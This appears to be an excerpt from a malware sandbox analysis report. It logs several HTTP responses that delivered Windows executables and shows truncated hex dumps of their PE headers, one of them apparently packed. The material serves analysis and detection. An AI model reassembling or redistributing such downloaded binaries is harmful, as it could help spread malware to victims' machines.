2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 04:02:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 04:02:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 04:02:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 04:02:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 04:02:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 04:02:56 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 04:03:02 GMTContent-Type: application/octet-streamContent-Length: 1893376Last-Modified: Sat, 23 Nov 2024 03:59:46 GMTConnection: keep-aliveETag: "67415332-1ce400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 f0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4b 00 00 04 00 00 a4 01 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 d4 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 d3 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 b0 06 00 00 02 00 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 75 72 72 66 72 70 73 00 d0 19 00 00 10 31 00 00 c6 19 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 6f 72 77 6b 75 65 76 00 10 00 00 00 e0 4a 00 00 04 00 00 00 be 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4a 00 00 22 00 00 00 c2 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 